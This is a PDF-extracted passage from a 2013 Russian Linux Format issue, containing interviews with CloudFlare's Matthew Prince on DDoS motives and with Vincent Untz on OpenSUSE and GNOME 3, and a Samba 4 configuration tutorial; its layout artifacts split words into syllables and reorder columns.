ра ба ты ваю щее он лайн, я по ла гаю, что мас штаб и объ ем ныне на
блю дае мых DDoSатак вну ша ет серь ез ные опа сения для мно
же ст ва пред при ятий.

LXF: Вы ис сле дуе те при чи ны этих атак?
МП: Мы не осо бо тра тим вре мя на вы яснение при чин и то го, кто 
за этим сто ит, хо тя, конеч но, по лу ча ем ин фор ма цию от кли ен тов 
на счет то го, что, по их мнению, по слу жи ло мо ти вом; и мо ти вы 
очень раз ные. Мы ви де ли ата ки по ком мер че  ским со об ра жениям. 

Бы ва ют слу чаи, когда ата ка за ка за на кон ку рен том. Ряд крупней
ших из на блю да емых атак – по су ти, вы мо га тель ст во он лайн, 
когда некий зло умыш ленник от прав ля ет элек трон ной по чтой 
на среднего (обыч но) раз ме ра сайт ecommerce со об щение при
мер но та ко го со дер жания: «ли бо вы пла ти те нам эн ную сум му, 
ли бо мы пе ре кры ва ем вам доступ в Ин тернет». Ко ли че  ст во по доб
ных атак рас тет по сто ян но.

К нам об ра щал ся че чен ский но во ст ной сайт, ата ко ван ный 
россий ски ми пра ви тель ст вен ны ми уч ре ж дения ми или кемто, 
со чув ст вую щим россий ским пра ви тель ст вен ным уч ре ж дениям. 
У нас есть кли ен ты с обе их сто рон ближнево сточ но го кон флик

та. На ши ми услу га ми поль
зу ют ся из ра иль ские, пале
с т ин  ск ие и е г и  пет  ск ие 
сай ты – на мно гие из них со
вер ша лись мас штаб ные ата
ки, и все с по ли ти че  ской по
до п ле кой. WikiLeaks так же 

поль зо ва лась [CloudFlare], для пре кра щения мас штаб ных атак 
от ка за в об слу жи вании. Хо тя ата ки хак ти ви стов наи бо лее по пу
ляр ны в прес се, в основ ном они не са мые круп но мас штаб ные. 
Вы яс ня ет ся, что са мые круп ные ата ки име ют оп ре де лен ную пра
ви тель ст вен ную под держ ку – вот те бы ва ют дей ст ви тель но круп
ны ми. Или те, что яв ля ют ся он лайнвы мо га тель ст вом. Мы ви де ли 
ата ки на сай ты эс кортуслуг, когда ряд тру жениц сек са ре шил из
ба вить ся от су тенеров, а су тенеры ста ли их пре сле до вать. В прин
ци пе, лю бой, у ко го есть на вас зуб и ре сур сы, что бы доста вить 
вам непри ят но сти, мо жет в на ше вре мя ор ганизо вать до воль но 
со лид ную ата ку, спо соб ную вы ши бить оф флайн да же круп ную 
ор ганиза цию. Пол ную вер сию ин тер вью см. на www.tuxradar.com/
content/mpivew. |

«Ряд крупней ших  
из на блю дае мых атак – по су ти,  

вы мо га тель ст во он лайн»
Из ра иль тяне и па ле стин цы со глас ны в од ном: в вы бо ре за щитника  

от DDoSатак. И вот мы встре ти лись с Мэ тью Прин сом, ру ко во ди те лем  
и со уч ре ди те лем CloudFlare, что бы вы яснить, как же он пы та ет ся  

опережать он лайнзлоумышленников.

> Мэ тью Принс: 
этот ми лый юно-
ша зна ет нема ло 
ужа сов�

«У нас есть кли ен ты  
с обе их сто рон ближне-
восточ но го кон флик та.»
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Вин сент Унц [Vincent Untz] из-
вес тен как пред се да тель со-
ве та ди рек то ров OpenSUSE, 
раз ра бот чик Gnome и все-
об щий лю би мец� Он так же 
занима ет ся об лач ным про-

ек том SUSE в со ста ве ко ман ды Attachmate� Ко ро че 
го во ря, мир сво бод но го ПО зна ком ему «от и до»� 
Мы пе ре сек лись с ним на FOSDEM, в Брюс се ле, 
где он дол жен был пред ста вить док лад под на-
званием: «Со об ще ст  во Gnome — одер жи мые?»

LXF: Как вы при шли в от кры тое ПО? 
ВУ: Во об щето я всегда го во рю «сво бод ное ПО», 
а не «от кры тое». Де ло бы ло го ду в 2002. Сна ча ла 
мне бы ло про сто лю бо пыт но. Я на блю дал за тем, 

что про ис хо дит, а ко ман да Gnome тогда как раз ра
бо та ла над Gnome 2, вотвот долж на бы ла вый
ти 2.0, и мне в поч ту при хо ди ло мно го рас сы лок. 

Я был в кур се все го, и в ка който мо мент по ду мал: 
по че му бы не по мочь? На чал коечто де лать – от
лав ли вать ошиб ки, по мо гать ко ми те ту по прие
му но вых чле нов и про чее. По том втя нул ся еще 
боль ше.

LXF: Вы бы ли столь ак тив ны в со об ще ст  ве Gnome� 
Как же вы по па ли в OpenSUSE, ведь он ас со ции ру-
ет ся ско рее с KDE? 
ВУ: Во об щето, в 2005м я по мо гал Ubuntu. Сде
лал па ру по пра вок и вско ре по нял, что не мо гу па
рал лель но занимать ся и Ubuntu, и Gnome. Нуж
но бы ло вы би рать, и я вы брал Gnome. По ми мо 
все го, я еще учил ся. А в 2007, за щи тив дис сер
та цию, стал ис  кать ра бо ту. Тогда еще был Novell, 
и они дер жа ли мар ку в сре де раз ра бот ки Gnome, 

так что я меч тал к ним 
по пасть. Так и слу чи
лось, и я по дол гу служ
бы стал занимать ся в том 
чис ле OpenSUSE. Точ
нее, на по ло ви ну пред ле
жа щи ми [upstream] про
грам ма ми – на по ло ви ну 
OpenSUSE.  

Вот так я и при шел в со об ще ст  во. Мы тогда 
толь ко на ча ли де лать про цесс раз ра бот ки от кры
тым; бы ло очень ув ле ка тель но.

О РАБОТЕ В NOVELL

«Они дер жа ли мар ку в сре-
де раз ра бот ки Gnome, 
я меч тал к ним по пасть.»

Интервью

Пред се да тель
со ве та

LXF от прав ля ет ся в Брюс сель 
на встре чу с Вин сен том Ун цем,  
гла вой со ве та ди рек то ров OpenSUSE 
и об лач ным гу ру Attachmate.
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LXF: Те перь вы воз глав ляе те OpenSUSE� Ка ко вы 
ва ши обя зан но сти?
ВУ: Встре чи! Сплош ные встре чи. За да ча со ве та 
ди рек то ров – по мощь в ор ганиза ции со об ще ст  ва 
и ре шение фи нан со вых и юри ди че   ских во про сов. 
В техниче   ские мы пред по чи та ем не вме ши вать ся. 
Для это го есть техниче   ское ру ко во дство и ко ман
да, от вет ст  вен ная за под го тов ку ре ли зов. 

А по ми мо это го – все в ве дении со ве та. Пред
се да те ля на зна ча ет SUSE, еще пя те ро чле нов вы
би ра ют ся со об ще ст  вом. Мне, кста ти, идея на зна
чения ка жет ся весь ма со мнитель ной, но так уж 
ис то ри че   ски сло жи лось. Пред се да тель, по су ти, 
га ран т ак тив но сти со ве та, его дее спо соб но сти 
и раз ви тия, в осталь ном он – на равне со все ми.

LXF: А на ра бо ту с ко дом хва та ет вре мени?
ВУ: По прав де го во ря, нет. У ме ня есть и дру гая 
ра бо та, по ми мо пред се да тель ст  ва. Я занима юсь 
об лач ны ми про ек та ми, в ча ст но сти OpenStack, 
на боль шее в сфе ре раз ра бот ки ме ня уже не хва
та ет. Ста ра юсь по воз мож но сти по мо гать ко ман де 

Gnome, по сколь ку на ко пил мно го знаний и есть 
же лание ими по де лить ся, но они и без ме ня непло
хо справ ля ют ся. По хо же, что Gnome я боль ше 

не ну жен. И это ра ду ет – зна чит, на ше со об ще ст  во 
ста ло са мо стоя тель ным, и я мо гу спо кой но вый ти 
из ко ман ды Gnome, без вся ко го ущер ба.

LXF: Как SUSE по сту пи ли с OpenSUSE� Они ис поль-
зу ют его как осно ву для сво его ком мер че   ско    го 
пред ло жения?
ВУ: В на шем пред став лении, OpenSUSE – это осно
ва SUSE Enterprise. На оп ре де лен ном эта пе мы бе
рем OpenSUSE, ста би ли зи ру ем его. До бав ля ем 

неко то рые функ ции, необ хо ди мые на шим кли ен
там. А так же тща тель но его тес ти ру ем. 

Ин те рес но смот реть в сравнении с дру ги ми 
про ек та ми, с Fedora, на
при мер. Ее обыч но счи
тают тестовым полиго
ном для RHEL (Fedora 
всегда стре мит ся быть 
на пе реднем крае раз
ра бот ки, что, помо
ему, на поль зу и все му 
СПО), но мы в OpenSUSE 

за этим не гоним ся. На ша цель – соз дание силь но
го и на деж но го про дук та, т. е. уже немно го дру гое.

LXF: Вы занима лись Gnome еще до вы хо да вто рой 
вер сии� Gnome 3 ока зал ся до воль но спор ным�
ВУ: Прав да? А я и не за ме тил!

LXF: Вас уди ви ло то, как его при ня ла пуб ли ка?
ВУ: И да, и нет. По на ча лу мы и са ми не зна ли, ку да 
идем, но спустя несколь ко ме ся цев у нас поя вил ся 

О GNOME 3

«Лю бо пыт но, что я ожи-
дал зна чи тель но боль ше 
нега ти ва.»



Май 2013 LXF170 | 43

 Вин сент Унц

ВУ: Ра зу ме ет ся, я не в кур се всех стра те гий SUSE 
и не мо гу да вать офи ци аль ных ком мен та ри ев, 
но оче вид но, что вся ин ду ст рия сей час дви жет ся 
имен но в этом на прав лении. 

Ес ли брать OpenStack, ко то рый мы ис поль зу ем 
для соз дания на ше го об лач но го про дук та, то его 
под дер жи ва ют прак ти че   ски все ли де ры в дан
ной об лас ти. OpenStack Foundation очень успе
шен, у него ку ча спон со ров; SUSE яв ля ет ся пла
ти но вым чле ном, и это про сто неве ро ят но. Точ ных 
цифр я не ана ли зи ро вал, но бюд жет OpenStack 

Foundation – око ло 10 млн дол ла ров, и это все го 
лишь за год су ще ст  во вания. Са мо му про ек ту го да 
два. Про сто уму непо сти жи мо. Еще и учи ты вая то, 
на сколь ко бы ст ро OpenStack раз ви ва ет ся. При ток 
вло жений про сто ог ром ный. Пока что мы до го ня
ем Amazon в плане webсер ви сов, но очень ско ро 
станем ли де ра ми. 

По ла гаю, что об лач ные тех но ло гии – весьма 
важ ная сфе ра для лю бо го, кто хо чет со вер шить 
про рыв в сво ей ин ду ст рии; естественно, вклю чая 
и SUSE. |

план, и мы ожи да ли бур ной эмо цио наль ной ре
ак ции. Что ктото его по лю бит, а ктото вознена
ви дит. Вне вся ких со мнений. Лю бо пыт но, что 
я ожи дал зна чи тель но боль ше нега ти ва, а нам до
воль но ско ро ста ли по сту пать и по ло жи тель ные 
от кли ки, что нас очень при обод ри ло и по мог ло 
ид ти даль ше. Че го я не ожи дал, так это что сей
час, спустя два  го да, ктото бу дет до сих пор го
во рить нечто вро де: «Как же я нена ви жу Gnome 3», 
«Со об ще ст  во Gnome про сто де ла ет всем на зло», 
«Gnome – зло» и про чий бред. 

То есть, ес ли вам не нра вит ся Gnome 3 – это 
нор маль но, это ва ше пра во, но в этих ком мен та
ри ях настоль ко много лич но го – я не ду мал, что 
лю ди бу дут так эмо цио наль но реа ги ро вать спустя 
дол гое вре мя. 

LXF: Ваш док лад на зы ва ет ся «Со об ще ст  во 
Gnome — одер жи мые»� В двух сло вах���
ВУ: Ну, ес ли «одер жи мые» в от ри ца тель ном 
смыс ле, то нет. Ес ли в по ло жи тель ном, то да. 
За ви сит от ва ше го понимания. На са мом де ле до
к лад по яс нял точ ку зрения со об ще ст  ва Gnome – 
рань ше нам пло хо уда ва лось донести свои идеи. 
А так же раз веи вал неко то рые ми фы, до сих пор 
бы тую щие и рас про стра няю щие ся, несмот ря 
на яв ную оши боч ность. 

LXF: Не хо ти те раз ве ять несколь ко пря мо сей час?
ВУ: Мой лю би мый – что Gnome яко бы на пле
вать на мнение поль зо ва те лей. Соз да вая Gnome, 
мы строи ли то, во что ве рим; и бы ло мно го труд
ных ре шений и непро сто го вы бо ра. Иногда мы ду
ма ем, что сде ла ли все пра виль но, а оно ока
зы ва ет ся кри вое. И при хо дит ся воз вра щать ся 
и пе ре де лы вать за но во. То му есть кон крет ные 
при ме ры – на при мер, оп ция вы клю чения ком пь
ю те ра в ме ню, от сут ст  во вав шая в пер вых ре ли
зах Gnome 3 и вновь вер нув шая ся в Gnome 3.6. 
Мы вве ли об ласть уве дом лений, то есть улуч
шение, но недоста точ но удоб ную по на ча лу – поль
зо ва те ли жа ло ва лись, но вых со об щений не вид
но – и мы на дол го за ня лись удоб ст  вом.

LXF: Еще час тень ко слыш но, что Gnome 3 
пред на зна чен для сен сор ных эк ра нов�
ВУ: Да, рас про стра нен ное за блу ж дение. Мол, 
мы ори ен ти ру ем ся толь ко на план ше ты. А это 
не так. На ша глав ная цель – тра ди ци он ные ПК, 
но и но вые, сен сор ные – на при мер, уст рой ст  ва 
под Windows 8. Мы понима ем, что раз ра бот ка 
про дук тов для план ше тов или да же те ле фо нов – 
нечто прин ци пи аль но иное, но мы к это му по ка 
не го то вы. По ка мы де ла ем все в рас че те на обыч
ные ПК, но ста ра ем ся, что бы Gnome мог при ме
нять ся и на тач ск  ри нах; ес ли он у вас есть – мо
жете по про бо вать. 

LXF: Вернем ся к ва шей ра бо те в SUSE, 
где вы занимае тесь об ла ка ми� Ка жет ся ли вам, 
что за ними — бу ду щее SUSE?
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П
ри всей на шей люб ви к Linux, 
боль шин ст ву из нас иногда при-
хо дит ся со су ще ст во вать в се ти 
с ма ши на ми Windows; тут мы и уз-

на ем, что имен но Samba обес пе чи ва-
ет со вме ст ный доступ Linux и Windows 
к фай ло вым сис те мам�

Од на ко Samba уме ет на  мно го 
боль ше, и в вер сии 4 достиг ла пол
ной со вмес ти мо сти с Microsoft Active 

Directory. Это очень важ но. Дол гое вре мя 
Samba мог ла вы сту пать в ро ли кон трол ле ра 
до ме на Windows NT 4.0, или при сое динить
ся к су ще ст вую ще му до ме ну та ко го ти па, 

но с вы хо дом Windows 2000 Microsoft на чал 
от хо дить от до ме нов NT к сво ей но вой Active 
Directory, рас ши ряя про пасть ме ж ду эко си сте
ма ми Linux и Windows. Samba вер сии 4 яв ля

ет со бой дол го ждан ное сред ст во ре
шения этой про бле мы. Она пол но стью 
реа ли зу ет все функ ции кон трол ле
ра до ме на Active Directory, ста но вясь 
эф фек тив ной за ме ной со от вет ст вую
щих функ ций в линии про дук  тов 

«Samba 4 реа ли зу ет все 
функ ции кон трол ле ра 
до ме на Active Directory.»

Samba
Тан цы с Windows

Стан дарт ный па кет взаи мо дей ст вия Windows и Linux до рос 
до вер сии 4 и мо жет по хва стать ся под держ кой Active Directory.
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Microsoft Windows Server. Samba – от кры тая реа
ли за ция про то ко ла Server Message Block, или 
SMB. Это се те вой про то кол уров ня при ло жения, 
из на чаль но раз ра бо тан ный в IBM для обес пе
чения рас пре де лен но го досту па к фай лам и прин
те рам. Microsoft рас ши рил эту реа ли за цию SMB, 
вклю чив в нее под держ ку ау тен ти фи ка ции с по
мо щью соб ст вен но го NT LAN Manager (NTLM) и, 
позднее, про то ко лов NTLMv2. Эту реа ли за цию на
зва ли Common Internet File System [Об щей 
фай ло вой сис те мой Ин тернет], или CIFS. 
Дальней шие рас ши рения, вклю чая под
держ ку сим во ли че  ских ссы лок, вы шли как 
SMB2 в Windows Vista. Samba под дер жи
ва ет SMB2, на чи ная с вер сии 3.6. Microsoft 
ввел SMB2.1 в Windows 7, а SMB3 – 
в Windows 8. Они име ну ют раз ные вер сии про то
ко ла «диа лек та ми», так что CIFS и SMB2 яв ля ют
ся диа лек та ми про то ко ла SMB. Хо тя эти диа лек ты 
про прие тар ные, их спе ци фи ка ции доступ ны для 
об ще ст вен но сти: одним из ре зуль та тов со гла
шения Microsoft с Ев ро пей ским су дом в 2004 го
ду стал вы пуск пол ной до ку мен та ции для се те вой 
ау тен ти фи ка ции в Active Directory. Это при ве ло 
к раз ра бот ке Samba вер сии 4, при чем Microsoft 
принимал уча стие в тес ти ро вании.

Active Directory (из вест ный как AD) – глав ный 
ме ханизм ад минист ри ро вания со единен ных в сеть 
ком пь ю те ров Windows. Сер ве ры, на кото рых ра бо
та ет Active Directory, име ну ют ся кон трол ле ра ми 
до ме на. Кон трол лер до ме на Active Directory (ко
то рый мы бу дем со кра щен но на зы вать ADDC) ау
тен ти фи ци ру ет и ав то ри зу ет всех поль зо ва те
лей и все ком пь ю те ры в се ти Windows, на зна ча ет 
по ли ти ку безо пас но сти для всех ком пь ю те ров, 
а так же по зво ля ет уста нав ли вать или об нов лять 
про грам мы. На при мер, когда поль зо ва тель за хо
дит на ком пь ю тер, вхо дя щий в до мен Windows, 
ADDC про ве ря ет вве ден ный па роль и оп ре де ля ет, 
яв ля ет ся ли поль зо ва тель ад минист ра то ром сис
те мы или обыч ным поль зо ва те лем. AD ис поль
зу ет Lightweight Directory Access Protocol (LDAP) 

вер сии 2 и 3, Kerberos и DNS. Samba ис поль зу ет 
соб ст вен ную реа ли за цию LDAP под на званием ldb; 
она не под дер жи ва ет ис поль зо вание OpenLDAP 
для Active Directory.

Итак, те перь есть два спо со ба ис поль зо ва ния 
Samba: один – применять ее как обыч но («клас
си че  ская» Samba), в ка че  ст ве чле на до ме на или 
от дель но, и, соб ст вен но, это все, что вам нуж но 
для на строй ки ба зо вой ра бо ты. Дру гой спо соб – 

применять Samba в ка че  ст ве пол но функ цио
наль но го ADDC. Как испо льзо вать Samba, за ви
сит от ва ших по треб но стей, од на ко пер вое, что 
вам при дет ся сде лать – уста но вить ее. В боль
шин ст ве ди ст ри бу ти вов она долж на при сут ст во
вать в ре по зи то ри ях, хо тя оп ци ей по умол чанию 
мо жет быть Samba 3.6. Дру гой ва ри ант – ском пи
ли ро вать ее из ис ходника, ска чав с www.samba.
org/samba/download.

По сле уста нов ки файл на строй ки Samba име
ну ет ся smb�conf и обыч но рас по ла га ет ся в под ди
рек то рии, на при мер, /etc/samba. Про стей шая на
строй ка для ис поль зо вания в ка че  ст ве ре сур са 
об ще го досту па –
[global]
   server string = Samba Server Version %v
   # Treat unknown users as a guest (where 
permitted) [Считать неизвестных пользователей 
гостями (если разрешено)]
   security = user
   map to guest = Bad User 
[tmp]
   path = /tmp
   read only = No
   browsable = Yes
   guest ok = Yes
   force user = nobody
   force group = nobody
   create mask = 0755
   directory mask = 0755

Это сде ла ет /tmp на сер ве ре доступ ным как ре
сур Samba че рез TCP/IP. Ис поль зо вание security = 
user и map to guest по зво ля ет госте вым ре сур сам 
по доб ным же об ра зом ра бо тать в уста рев шем 

ре жи ме security = share, с ко то рым со вре мен ные 
ад минист ра то ры Samba мо гут быть не зна ко мы. 
Поль зо ва те лям с именем поль зо ва те ля Windows, 
не рас по зна вае мым Samba, не при дет ся пре
достав лять свою ау тен ти фи ка ци он ную ин фор
ма цию для досту па к ре сур су: они бу дут ау тен ти
фи ци ро вать ся как гости. Лю бые фай лы, ко то рые 
они на пи шут, бу дут иметь их поль зо ва тель ский 
и груп по вой ID на стро ен ным на ‘nobody’. Од на ко 

ес ли имя поль зо ва те ля из вест но Samba, 
то поль зо ва те лю бу дет пред ло же но вве сти 
па роль. Это мо жет по ка зать ся стран ным, 
но вполне со гла су ет ся с тем, как ра бо та ет 
Windows.

За пусти те де мон Samba, smbd, что бы по
лу чить доступ к это му ре сур су в Windows. 

Для досту па к нему ис поль зуй те Windows Explorer 
в ка че  ст ве брау зе ра сер ве ра Samba (ис поль зуй те 
или его имя, или IPад рес).

Есть еще один се те вой про то кол, ко то рый дол
гое вре мя ас со ции ро вал ся с се те вой ра бо той 
в Windows и по это му яв ля ет ся неотъ ем ле мой ча
стью па ке та Samba – NetBIOS. В на стоя щее вре мя 
он счи та ет ся уста рев шим, а ра бо та осу ще ст в ля ет
ся по TCP/IP. NetBIOS пред ла га ет раз ре шение имен 
и рас пре де лен ный доступ к фай лам и прин те рам 
для уст ройств, не имею щих за пи сей в DNS. Рань
ше он был основ ным в се тях Windows, но в этом 
боль ше нет необ хо ди мо сти, ес ли не ис поль зу ют
ся ста рые вер сии Windows; и все же он вам по на
до бит ся, ес ли вы хо ти те, что бы кли ен ты, ис поль
зую щие опе ра ци он ные сис те мы стар ше Windows 
2000, име ли доступ к ва шим ре сур сам. 

Ес ли вам не ну жен NetBIOS, то сле дую щие до
полнения к раз де лу [global] в smb�conf сде ла ют это 
выраженным явно:
[global]
   # disable NetBIOS [Отключить NetBIOS]
   disable netbios = yes
   smb ports = 445

Но ес ли на до вклю чить NetBIOS, при дет ся вне
сти сле дую щие из ме не ния в smb�conf:
[global]
   # NetBIOS identification
   workgroup = WORKGROUP
   netbios name = MYHOST
   wins support = Yes

Данные настройки ве лят Samba ис поль зо вать 
NetBIOS, что бы рас по зна вать ся в се ти Windows 
в сво ей ра бо чей груп пе по умол чанию (ма ши ны 

«Как ис поль зо вать 
Samba, за ви сит от ва-
ших по треб но стей.»

В Linux есть две вир ту аль ных реа ли за ции фай ло вой 
сис те мы, ко то рые мож но мон ти ро вать на ре сур сах 
SMB: SMBFS и CIFS. По след няя – бо лее но вая, и она 
встрое на в яд ро. Ин ст ру мен ты поль зо ва тель ско го 
уров ня, тре буе мые для ис поль зо вания CIFS, из на
чаль но бы ли ча стью Samba, но те перь яв ля ют ся 
от дель ным па ке том под на званием cifs-utils.

Из на чаль ная smbfs, так же яв ляю щая ся ча стью 
па ке та Samba, уже уста ре ла: что бы мон ти ро вать 

фай ло вые сис те мы Samba, сле ду ет ис поль зо вать 
CIFS. В ре зуль та те, ес ли вам про сто нуж но мон ти ро
вать ре сур сы Windows на ком пь ю тер с Linux, Samba 
уже не нуж на. Мон ти ро вать ре сурс Windows про сто:
mount t cifs o username=myuser,password=mypass 
//myserver/myshare /mnt

Разницу ме ж ду CIFS и SMB до воль но слож но 
по нять, по то му что диа лект CIFS но вее, чем SMB, 
но стар ше, чем SMB2, в то вре мя, как CIFS но вее, 

чем SMBFS, и под дер жи ва ет SMB, CIFS и бо лее 
но вые диа лек ты SMB2 и SMB3. Бо лее под роб ную 
ин фор ма цию ищи те в ру ко во дстве по кли ен ту: 
http://pserver.samba.org/samba/ftp/cifscvs/linuxcifs
clientguide.pdf.

Спе ци фи ка ции про то ко ла SMB и CIFS опуб ли
ко ва ны на http://msdn.microsoft.com/enus/library/
cc246482.aspx и http://msdn.microsoft.com/enus/
library/ee442092.aspx.

Вам не нуж но пе ре за пускать или из ве щать 
Samba при из менении smb�conf, по сколь ку она 
ав то ма ти че  ски оп ре де ля ет на ли чие из менений.

SMBFS и CIFS

Ско рая по мощь
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Windows по умол чанию от но сят ся к ра бо чей груп
пе с именем WORKGROUP) и дей ст во вать как сер
вер WINS. На звание NetBIOS яв ля ет ся эк ви ва лен
том имени хоста – совпадать с именем хоста ему 
не обя за тельно, но это довольно обыч ная прак ти
ка. WINS – это Windows Internet Name Service, реа
ли за ция Microsoft NetBIOS Name Service, и он пре
достав ля ет та кой же сер вис для имен NetBIOS, 
ка кой DNS пре достав ля ет для до мен ных имен 
(раз ме щая име на хостов по се те вым ад
ре сам). Пре об ра зо вание имени про ис хо
дит без сер ве ра WINS, но толь ко внут ри 
локаль ной под се ти – ес ли кли ент не мо
жет раз ре шить имя NetBIOS, ис поль зуя 
сер вер WINS, то оно бу дет раз ре ше но по
сред ст вом транс ля ции по се ти со об щений 
«ты где?». Это од на из при чин, по ко то рой сис

тем ные ад минист ра то ры нена ви дят NetBIOS 
и по ко то рой вам сле ду ет от клю чить его, 

по ка он вам понастоящему 
не по на до бит ся. Кро ме то го, 
в Се ти вы най де те нема ло при
ме ров то го, на сколь ко небезо
па сен NetBIOS.
Ес ли вам все же не обойтись 

без NetBIOS, то по следнее, что тре
бу ет ся сде лать для его под держ ки, 

это за пустить про цесс Samba – nmbd 

и про цесс smbd. Имен но nmbd обес пе чи ва ет пре
достав ление имен NetBIOS и сер ви сы WINS.

Сто ит по нять, как осу ще ст в ля ет ся со единение 
со сто ро ны кли ен та. До Windows 2000 со
единения осу ще ст в ля лись толь ко че рез NetBIOS, 
со еди няе мый с пор том 139 на сер ве ре. На чи ная 
с Windows 2000, со единения осу ще ст в ля ют ся 
с ис поль зо ванием и NetBIOS, и TCP/IP; по следний 
со еди ня ет ся с пор том 445 на сер ве ре. Кли ент за

кры ва ет свое со единение NetBIOS с пор том 139, 
ес ли сер вер от ве ча ет на со единение с TCP/IP. 
Как и сле ду ет ожи дать, ре сур сы мож но на стро
ить так, что бы для досту па к ним тре бо ва лась 
ау тен ти фи ка ция. Это пер вая об ласть, в ко то рой 
на строй ка Active Directory от ли ча ет ся от клас
си че  ской. Клас си че  ская Samba ис поль зу ет 
соб ст вен ную ба зу поль зо ва те лей, со дер жа щую 
за шиф ро ван ные па ро ли, и эти учет ные за пи си 
не име ют ника ко го от но шения к поль зо ва те лям 
Linux. В клас си че  ской Samba поль зо ва тель до
бав ляется следующим образом:

# smbpasswd a myuser
New SMB password:
Retype new SMB password:
Forcing Primary Group to ‘Domain Users’ for 
myuser
Forcing Primary Group to ‘Domain Users’ for 
myuser
Added user myuser.

За меть те, что как толь ко поль зо ва тель бу дет 
до бав лен в Samba, Windows по тре бу ет вве сти его 
па роль – да же для госте вых ре сур сов. До ба вить 
ре сурс для поль зо ва те ля, так же, как и до маш
нюю ди рек то рию, мож но, ес ли вве сти в smb�conf 
сле дую щее:
[myuser]
   comment = %U home directory
   writable = yes
   valid users = myuser
   path = %H

или, что яв ля ет ся бо лее об щей прак ти
кой, с по мо щью спе ци аль но го ре сур са 
[homes], ко то рый соз да ет до машний ре
сурс для ка ж до го поль зо ва те ля. При по
пыт ке поль зо ва те ля со единить ся с ре сур
сом Samba ищет от кры тое оп ре де ление 
ре сур са, по доб ное при ве ден но му вы ше. 

Ес ли ниче го не об на ру жи ва ет ся, но ре сурс [homes] 
су ще ст ву ет, то он бу дет ис поль зо ван как шаб
лон для соз дания ре сур са, нуж но го поль зо ва те
лю. Со от вет ст вую щий при мер при ве ден ниже; за
пись browsable не по зво ля ет по ка зы вать [homes] 
при про смот ре се те во го ок ру жения.
[homes]
   comment = %U home directory
   writable = yes
   browsable = no

Еще один спе ци аль ный ре сурс – [printers]. 
Как и сле ду ет ожи дать, он по зво ля ет кли ен там 

> Ес ли не син хро ни зи ро вать ча сы, мо гут тво рить ся очень стран ные ве щи!

Тес то вый кли ент Windows 7

«В Се ти не ма ло при-
ме ров то го, насколько 
не безо па сен NetBIOS.»

Что бы в пол ной ме ре оценить воз мож но сти Samba 4 
Active Directory, необ хо дим ком пь ю тер с Windows. 
Мы уста но ви ли Windows 7 Ultimate с Service Pack 1 
и ин ст ру мен та ми управ ления уда лен ным сер ве ром 
Remote Server Administration tools.

Из этих ин ст ру мен тов нам по на до бил ся Active 
Directory Users and Computers (ис пол няе мое имя dsa�
msc). Ин фор ма цию по уста нов ке сле дую щих про
грамм вы най де те на со от вет ст вую щих страницах 
Microsoft:
» Windows 7 Service Pack 1:
www.microsoft.com/enus/download/details.
aspx?id=5842

» Windows 7 RSAT:
www.microsoft.com/engb/download/details.
aspx?id=7887

Что бы ва ша ма ши на Windows от ве ча ла на за про сы 
ICMP ping, до ба вьте пра ви ло в бранд мау эр Windows 
(или от клю чите бранд мау эр). Для до ба вки пра ви ла 
пе рей ди те в Start > Control Panel > System and Secu
rity > Windows Firewall > Advanced Settings > Inbound 
Rules > New Rule [Пуск > Панель на строй ки > Сис те ма 
и Безо пас ность > Бранд мау эр > До полнитель но > Пра
ви ла > Но вое пра ви ло]. Соз дай те пра ви ло для про
то ко ла ICMPv4. Помните, что вер сии Windows Home 
и Starter не мо гут при сое ди нять ся к до ме ну.

> Для Active 
Directory Users 
and Computers 
най ди те 
dsa.msc и за-
пус ти те его 
от име ни ад ми-
ни ст ра то ра�

При об нов лении поль зо ва те ли долж ны учи ты
вать, что фор мат фай ла smbpasswd из менил ся, 
а значит, этот файл нельзя про сто ско пи ро вать 
с Samba 3.x на Samba 4.x.

Ско рая по мощь
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здесь име ет ся спе ци аль ный ин ст ру мент инициа
ли за ции, ре шаю щий за да чи на строй ки: 
# sambatool domain provision
Realm [MYDOMAIN.CO.UK]:
Domain [MYDOMAIN]:
Server Role (dc, member, standalone) [dc]:
DNS backend (SAMBA_INTERNAL, 
BIND9_FLATFILE, BIND9_DLZ, NONE) 
[SAMBA_INTERNAL]:
DNS forwarder IP address (write ‘none’ to disable 
forwarding) [10.0.0.138]:
Administrator password:
Retype password:

Па ро ли долж ны быть доста точ но слож ны
ми: од на за глав ная бу к ва, од на циф ра, и не ме
нее вось ми сим во лов. Под хо дя щий при мер – 
“Pa$$w0rd”, имен но его мы ис поль зо ва ли в на ших 
тес тах, хо тя он небезо па сен. По за вер шении 
инициа ли за ции вам со об щат, что сгенери ро ва на 
кон фи гу ра ция Kerberos, под хо дя щая для Samba 4. 
Вам нуж но бу дет ско пи ро вать этот файл в ссоот
ветствующее ме сто:
# cp /var/lib/samba/private/krb5.conf /etc

Да лее нуж но на стро ить кли ент DNS, что бы 
он ука зы вал на Samba, по то му что это то же DNS 

долж на соз да вать ся вме сте с под ди рек то рия ми 
для под дер жи вае мой ар хи тек ту ры:
# mkdir p /usr/share/samba/print/{COLOR,IA 
64,W32ALPHA,W32MIPS,W32PPC,W32X86, 
WIN40,x64}

Про стей ший спо соб за гру зить драй вер прин
те ра – вой ти от имени ад минист ра то ра в кли ент 
Windows. В Windows 7 на до пе рей ти на сер вер 
(на при мер, \\MYHOST) и за тем щелк нуть по View 
Remote Printers. На жми те на Tab, что бы ото бра
зить панель ме ню, за тем вы бе ри те File > Server 
Properties. Пе рей ди те во вклад ку Drivers и щелк
ните по Add. За пустит ся мас тер Add Printer Driver 
для сер ве ра. По сле за груз ки драй ве ра тре бу ет ся 
ас со ции ро вать его с прин те ром: пе рей ди те в прин
тер и от крой те его страницу Properties. Во вклад
ке Advanced вы бе ри те за гру жен ный драй вер 
из всплы ваю ще го спи ска. 

Кли ент Windows мо жет до ба вить прин тер (на
при мер, в Windows 7 пе рей ди те в Start > Devices 
и Printers > Add Printer, что бы до ба вить се те
вой прин тер). Ес ли драй вер за дан в [print$], 
он уста но вит ся ав то ма ти че  ски; в про тив ном слу
чае поль зо ва те лю при дет ся оп ре де лять ме сто
по ло жение и уста нав ли вать нуж ный драй вер 
са мо стоя тель но.

Те перь рас смот рим реа ли за цию Active Directory 
в Samba 4. Луч ше все го бу дет при знать, что, хо тя 
Samba 4 мо жет ра бо тать и в ка че  ст ве Standalone/
NT Domain Member, и в ка че  ст ве Active Directory 
Domain Controller, эти две на строй ки со вер шен но 
раз ные и до неко то рой сте пени несо вмес ти мые. 

Од на ко на строй ка Samba в ка че  ст ве кон трол
ле ра до ме на Active Directory про ста, по то му что 

Windows ис поль зо вать прин те ры, со единен ные 
с сер ве ром Samba. Он ис поль зу ет CUPS, что бы 
